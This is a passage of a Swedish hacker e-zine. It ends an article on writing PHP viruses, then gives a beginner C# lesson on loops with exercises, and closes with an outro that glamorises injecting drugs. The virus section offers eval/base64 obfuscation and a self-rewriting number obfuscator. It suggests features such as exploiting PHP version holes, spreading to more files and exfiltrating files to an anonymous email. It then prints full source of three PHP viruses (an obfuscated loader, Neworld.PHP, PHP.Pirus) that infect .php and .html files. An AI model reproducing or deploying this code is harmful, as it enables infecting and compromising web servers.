enkel, och proceduren ser ut så här: <?php eval(base64_decode("ZWNobyAiVGphIDpEIjs=")); ?> Detta kommer php tolka som; <?php echo "Tja :D"; ?> vilket också är det resultat vi kommer att se. Som ni (förhoppningsvis) läste i början av artikeln så ämnar jag inte att ge er kompletta bitar efter varje del, därför så tänker jag inte visa hur man implementerar detta på den kod vi redan har. Thats life, now lets continue. Det finns även andra sätt att göra saker och ting mycket jobbigare att förstå och läsa, däribland att t.ex. byta ut alla siffror mot lite matematiska motsvarigheter. Exempel: $n = 8; Så, vilka uträkningar ger produkten 10? Det finns ganska många, men några exemepl finner ni nedan; $n = (24-16); $n = (7+1); $n = (80/10); etc.. Detta har visserligen ingenting med kryptering att göra, men man kan inte direkt säga att base64 är "kryptering" heller, utan snarare göra det svårare att läsa koden. Detta gör att man SKULLE kunna slå ihop de två avsnitten här, men det ser bättre ut att ha fler sektioner ;) Hur skulle vi kunna utföra detta i PHP då? Någonting i den här stilen kanske; <?php $nc=fread(fopen(__FILE__,'r'),filesize(__FILE__)); $c=-1; $n=''; while(++$c<strlen($nc)) { if(ord($nc{$c})>47 && ord($nc{$c})<58) { $n=$nc{$c}; while(ord($nc{++$c})>47 && ord($nc{$c})<58) { $n.=$nc{$c}; } $rn=rand(1,10); switch(rand(1,3)) { case 1: $ct.='('.($n-$rn).'+'.$rn.')'; break; case 2: $ct.='('.($n+$rn).'-'.$rn.')'; break; case 3: $ct.='('.($n*$rn).'/'.$rn.')'; break; } } $ct.=$nc{$c}; $n=''; } fwrite(fopen(__FILE__,'w'),$ct); ?> Testar vi det på en fil som innehåller detta; <?php $tja = 10; $tjo = 32597439090532; $hej = 2520; $n = 780; $q = 6921; ?> så fick jag resultatet; <?php $tja = (0+10); $tjo = (32597439090500-7); $hej = (2524-4); $n = (7020/9); $q = (6923-2); ?> Efter sex exekveringar ser $tja ut så här: $tja =(((((((25927-7)/(11-1))/((8+1)-(5/1)))/(((20/2)-(36/6))+((300/6)/(90/9)))) +((((3+1)+(13-7))/(-(12/3)+(12/2)))+(-((9+1)/(3-1))+((40/10)+(-2+6)))))/(((((31+ 10)-(10-5))/((20/5)+(20/10)))+(((125/5)-(3+7))/((5-4)+(12-10))))-((((84/3)-(1+5) )-((15-6)-(-4+5)))-(((108/3)-(14-6))/((64/8)/(3-1))))))/((((((90/2)/(40/8))+((80 /8)/(7/7)))-((-(9-6)+(21/7))+((10-2)/(11-10))))+((((11+4)-(-1+2))-((72-9)/(63/7) ))-(((94-4)/(30/10))/(-(10/5)+(2+5)))))-(((((618-2)-(19-9))/((-6+9)+(6-3)))-(((1 8-6)-(36/6))-(-(24/8)+(64/8))))/((((4-4)/(80/8))/((35+10)/(2+7)))+(((14-4)-(24/3 ))+((19-1)-(2+8))))))); Försökt att hänga med i den där uträkningen ni ;) Summan av kardemumman (typ) --------------------------- Vad har vi nu? Jo, en massa kodsnuttar som inte gör så väldans mycket själva, men när man sätter ihop dessa till synes oskyldiga kodsnuttar så kan dessa utgöra ett ganska kraftfullt "verktyg". Jag har nu under två artiklar gått igenom lite basic saker som man kan ha nytta av om man är intresserad av att programmera virus för scriptspråk. I nuläget så finns det inget som jag direkt känner att "Ja, det där måste jag ta upp", och därav så får vi se om det eventuellt blir en del tre eller inte. Önskemål mottages dock, men hur ni ska kontakta mig är upp till er själva att klura ut. Avslutningsvis så tänkte jag bara delge er lite tankar som ständigt dyker upp, och som man "borde" göra något åt, men aldrig orkar. Detta är alltså förslag på saker som man skulle kunna implementera i ett PHP-virus, vissa har jag gjort, vissa inte. - Viruset har en liten "databas" med kända hål i specifika PHP-versioner och anpassar sig automatiskt till den version det körs på, och utnyttjar vissa hål om möjligheten finns. - Viruset letar sig vidare genom andra mappar för att hitta fler föremål att infektera. Till detta kan glob("*.php") vara till stor hjälp. - Med lite tålamod så och tillräckliga kunskaper om virusprogrammering för binära filer så skulle man kunna göra ett phpvirus som i sin tur är kapabelt till att infektera binärer också. - Orkar man inte implementera infektering av binärer så går det alltid att infektera andra filer, typ html-filer (med lite javascript-hjälp). - Få viruset att kopiera och komprimera alla filer den kommer åt, eller vissa specifika filtyper och skicka till en (förslagsvis) anonym email, eller ladda upp det på något förbestämt ställe (lite osäkert, om man inte kan få viruset att ringa hem och kolla om det finns ett nytt ställe att ladda upp saker på). Detta är bara spontana tankar som man teoretiskt (och även praktiskt) skulle kunna genomföra i PHP, sen är det upp till en själv vart man vill lägga ribban någon stans, men språket har potentialen som krävs, helt klart! Avslutningsvis bjuder jag på några existerande php-virus källkoder. Halvkänt virus som spreds i emails ---------------------------------- <?php $OOO0O0O00=__FILE__; $O00O00O00=__LINE__; $OO00O0000=34948; eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PM E8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cyg kTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5N ik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmV hZCgkTzAwME8wTzAwLDM3MiksJ0VBWnpCWWdNSlA1N2U4bEtXV WFMUm5DeC93TzBUaUZJaDF2a3RmMkd5cFFEVnF1YjlYSDZkcmo 0Y3NOM21Tbys9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYW VphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk rLycpKSk7ZXZhbCgkT08wME8wME8wKTs='))); return; ?> Neworld.PHP (variant på PHP.Pirus) ---------------------------------- <?php $vir_string = "Neworld.PHP\n"; $virstringm = "Welcome To The New World Of PHP Programming\n"; $virt = $vir_string . $virstringm; echo $virt; $all = opendir('C:\Windows\\'); while ($file = readdir($all)) { $inf = true; $exe = false; if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe = strstr ($file, '.htt')) ) if ( is_file($file) && is_writeable($file) ) { $new = fopen($file, "r"); $look = fread($new, filesize($file)); $yes = strstr ($look, 'neworld.php'); if (!$yes) $inf = false; } if ( ($inf=false) ) { $new = fopen($file, "a"); $fputs($new, "<!-- "); $fputs($new, "Neworld.PHP - "); $fputs($new, "Made By Xmorpfic, "); $fputs($new, "www.shadowvx.com/bcvg, "); $fputs($new, "The Black Cat Virii Group."); $fputs($new, "--->"); $fputs($new, "<?php "); $fputs($new, "include(\""); $fputs($new, __FILE__); $fputs($new, "\"); "); $fputs($new, "?>"); return; } } closedir($all); // Neworld.PHP Virus - Made By Xmorfic, www.shadowvx.com/bcvg, Black Cat Virii // Group. ?> PHP.Pirus (det första viruset skrivet i PHP) -------------------------------------------- <?php $handle=opendir('.'); while ($file = readdir($handle)) { $infected=true; $executable=false; if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) ) if ( is_file($file) && is_writeable($file) ) { $host = fopen($file, "r"); $contents = fread ($host, filesize ($file)); $sig = strstr ($contents, 'pirus.php'); if(!$sig) $infected=false; } //infect if (($infected==false)) { $host = fopen($file, "a"); fputs($host,"<?php "); fputs($host,"include(\""); fputs($host,__FILE__); fputs($host,"\"); "); fputs($host,"?>"); fclose($host); return; } } closedir($handle); ?> ================================================================================ 0x04 Introduktion till C#, del 4 Retard ================================================================================ Förord ------ Ännu en ny del, vi kommer att lära oss om while- samt for-satser denna gång. Som vanligt kommer först en text-del och sist kommer ett par uppgifter att träna sig lite på. Loopar ------ Loopar är till för att utföra instruktioner upprepade gånger, tills ett villkor är uppfyllt. Ponera att du har en textfil som du vill läsa och skriva ut i ditt program, väldigt ofta måste man då läsa rad för rad istället för hela textfilen på en gång. När man då inte vet hur många rader en fil har måste det finnas ett enkelt sätt att gå igenom filen tills det inte finns fler rader. En loop hade passat perfekt för detta. Det finns olika typer av loopar, for- samt while-loopar. Dessa två är bäst att använda vid olika tillfällen. En for-loop ska man i regel använda om man vet hur många gånger en instruktion ska utföras, eller om ens program enkelt kan räkna ut det. En while-loop ska i regel användas när man ej vet hur många gånger en instruktion måste utföras, t.ex. om man ej vet hur många rader en textfil innehåller. For-loop -------- Som jag sa tidigare ska en for-loop användas när man vet hur många gånger någonting ska utföras. Här kommer ett kodexempel. [kod] for(int i = 0; i < 3; i++) { Console.WriteLine(i); } [/kod] Inte värst komplicerat egentligen, vi börjar med att skriva for och en parentes. Inne i parentesen skapar vi en integer vid namn i (eller vad man nu föredrar) och ger den ett värde, som kan vara vilket som helst. I detta fall väljer vi att ge integern värdet noll. Efter att vi gett integern ett värde, avslutar vi med ett semikolon och går vidare till kontrollen. Det är här vi ska skriva hur länge vår loop ska fortsätta att köras. I mitt exempel väljer jag att köra loopen så länge som i är mindre än 3. Även här avslutar vi med ett semikolon för att gå vidare in till nästa steg i loopen. Det är nu vi ska bestämma vad som ska hända när programmet gått igenom loopen ett varv. I detta fall vill jag plussa på i med ett, men även här kan man göra mycket annat. T.ex. i = i + 5 för att plussa på med fem på det ursprungliga läget. Det var det sista vi skulle göra innan vi avslutar parentesen. Notera att vi inte använde semikolon i slutet av parentesen, utan går direkt och gör en slutparentes. Vidare ska vi nu skapa ett nytt kodblock, precis som vi gör i if-satserna, inne i detta kodblock ska vi skriva vad vi vill få utfört om i < 3. Om du vill titta lite närmre på hur dessa loopar fungerar och i vilken ordning den går igenom kan du använda dig av debug-mode i Visual Studio, istället för att använda ctrl + f5 för att testa ditt program kan du använda dig utav knappen F10 istället. Sedan kan du stega dig vidare igenom programmet genom att klicka på F10 igen tills programmet stängs. För att förklara händelseförloppet lite enkelt kommer ditt program, om du skrivit av koden ovan att gå igenom så här: * skapa en int vid namn i, som har värdet 0. * kontrollera om i är mindre än 3, som så är fallet, kör koden. * Skrivs ut en nolla. * Lägg på värdet i med ett. * kontrollera om i (1 denna gång) är mindre än 3, kör koden * Skrivs ut en etta. * Lägg på värdet med ett. * Kontrollera om i (2 denna gång) är mindre än tre, kör koden. * Skrivs ut en tvåa. * Lägg på värdet med ett. * Kontrollera om i (3 denna gång) är mindre än tre. Denna gång är det inte fallet, då avslutas loopen och programmet går vidare genom programmet. Som du såg skapades bara en integer en gång, medan kontrollen skedde varje gång. Om integern skulle skapas och sätta sitt värde till noll vid varje runda skulle vi få en så kallad infinite loop, mer om detta senare. While-loop ---------- Engelskt ord Svensk översättning ------------ ------------------- while medan, under tiden While-loopar är lätta att förstå. Ett kodexempel följer nedan: [kod] int i = 0; while(i < 3) { Console.WriteLine(i); i++; } [/kod] Som vanligt, vi skapar en integer med värdet noll. Denna gång innan vår loop startas. Vi skriver sedan while följt av en parentes, och innanför denna parentesen skrivs villkoret som ska vara sant för vår kod ska köras. För att även här förklara händelseförloppet lite enkelt kommer ditt program om du skrivit av koden ovan att gå igenom en snarlik process som nedan: * Kontrollera om i är mindre än tre * Kör koden. (Dvs skriv ut 0 samt addera i med 1) * Kontrollera om i är mindre än tre * Kör koden. (Dvs skriv ut 1 samt addera i med 1) * Kontrollera om i (2) är mindre än tre * Kör koden. (Dvs skriv ut 2 samt addera i med 1) * Kontrollera om i (3) är mindre än tre * Kör ej koden, gå vidare i programmet. do-while -------- [kod] int i = 3; do { Console.WriteLine(i); i--; } while(i > 1); [/kod] I en do-while-sats körs alltid loopens kod igenom åtminstonde en gång, när uttrycket har körts igenom en gång kontrolleras om uttrycket innanför while() är sant. Om så är fallet körs loopen igenom tills uttrycket blir falskt. Infinite loop ------------- En så kallad Infinite loop är en loop som aldrig uppnår ett värde som får loopen att avslutas, det vill säga en oändlig loop. Ett exempel på en sådan loop ser du nedan. [kod] while(true) { Console.WriteLine("Oändlig loop"); } [/kod] För att stjäla ett skämt: The Cray-3 is so fast it can execute an infinite loop in under 2 seconds! ================================================================================ 0x05 Introduktion till C#, del 4 - uppgifter Retard ================================================================================ Uppgift ett ----------- .--------------------------------------------------. | cmd.exe _ [] x | |--------------------------------------------------| |1 |^| |2 | | |3 | | | | | | |v| .--------------------------------------------------. Förklaring: Använd dig utav en for-loop och skriv ut alla tal upp till tre. Du ska börja på ett. Uppgift två ----------- .--------------------------------------------------. | cmd.exe _ [] x | |--------------------------------------------------| |Skriv in ett användarnamn: [Wise] |^| |Användarnamnet är fel | | |Skriv in ett användarnamn: [Houdini] | | |Hej Houdini! | | |Tryck på valfri tangent för att fortsätta... |v| .--------------------------------------------------. Förklaring: Gör ett program som kräver ett användarnamn. Så länge som användaren INTE skriver in "Houdini" ska du be dem skriva in användarnamnet igen. När de skrivit in Houdini ska de mötas av en hälsning Stjärnuppgift ett ----------------- .--------------------------------------------------. | cmd.exe _ [] x | |--------------------------------------------------| |Nej |^| |Nej | | |Nej | | |Nej | | |Nice! | | | | | |Tryck på valfri tangent för att fortsätta... |v| .--------------------------------------------------. Förklaring: Lär dig om slumptal. Du ska slumpa fram ett tal mellan 1 och fem. För varje varv i loopen ska den slumpa en ny siffra, och så länge som den siffran inte är fem ska "Nej" skrivas ut. När femman lyckats slumpas fram ska programmet skriva ut "Nice!" och avslutas. ================================================================================ 0x06 Outro swestres ================================================================================ Vår dag lider mot sitt slut. Vi dricker upp ölen och beger oss ut i stadens djungel, vårt hem: Helvetet. I en gränd hittar vi Oskar, utslagen och eländig. Ur en sliten väska lirkar han upp en avknäckt sked med en sotig undersida. Med stil, grace och finess förbereder han dagens höjdpunkt; den första fixen. I skeden kokar den, lösningen på alla problem. En lösning innehållandes ambrosia för intravenöst bruk. Tändarens låga slickar skedens undersida, värmen sprider sig. I skeden hamnar filtret likt vinterns första snöflinga på en åker. Oskar sträcker sig efter sprutan likt en man i en öken sträcker sig efter vatten. Den kokande sjön som för en stund sedan sågs i skedens konkava del har nu försvunnit och om ett ögonblick kommer dess svalnade rest beblanda sig med främmande vätskor i Oskars blodomlopp. Du är Oskar, vi är din drog. Fixens effekter kommer att avta. Du kommer leva på en fet AT tills nästa utgåva. Tills dess, stig geil!